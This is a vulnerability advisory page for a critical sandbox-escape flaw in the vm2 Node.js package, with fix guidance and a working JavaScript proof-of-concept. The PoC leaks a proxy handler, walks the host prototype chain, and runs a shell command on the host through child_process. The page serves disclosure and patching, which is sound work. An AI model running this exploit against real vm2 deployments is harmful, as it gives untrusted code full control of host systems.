Arbitrary Code Injection Affecting vm2 package, versions <3.11.0


Severity

Recommended
0.0
critical
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.06% (20th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Code Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-VM2-16438924
  • published7 May 2026
  • disclosed7 May 2026
  • creditc0rydoras

Introduced: 7 May 2026

NewCVE-2026-44006  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

Upgrade vm2 to version 3.11.0 or higher.

Overview

vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.

Affected versions of this package are vulnerable to Arbitrary Code Injection through the proxy trap methods in createBridge in the bridge handler code. An attacker can leak a handler using util.inspect({showProxy:true}) and invoke its trap methods directly with a forged target, then walk the host prototype chain to recover privileged symbols and achieve code execution. This enables sandbox escape and lets untrusted code execute with the privileges of the host process.

PoC

let obj = {
    subarray: Buffer.prototype.inspect,
    slice: Buffer.prototype.slice,
    hexSlice: () => '',
};

let sym;

obj.slice(10, {
    showHidden: true,
    showProxy: true,
    depth: 10,
    stylize(a) {
        const handler = this.seen && this.seen[1];

        if (handler && handler.getPrototypeOf) {
            gP = handler.getPrototypeOf;
            HObjectProto = gP(gP(gP(gP(Buffer))));
            HObject = HObjectProto.constructor;
            sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);
        }
        return a;
    },
});

obj = {
    [sym]: (depth, opt, inspect) => {
        inspect.constructor('return process')()
        .getBuiltinModule('child_process')
        .execSync('id', { stdio: 'inherit' });
    },
    valueOf: undefined,
    constructor: undefined,
};

WebAssembly.compileStreaming(obj).catch(() => {});

CVSS Base Scores

version 4.0
version 3.1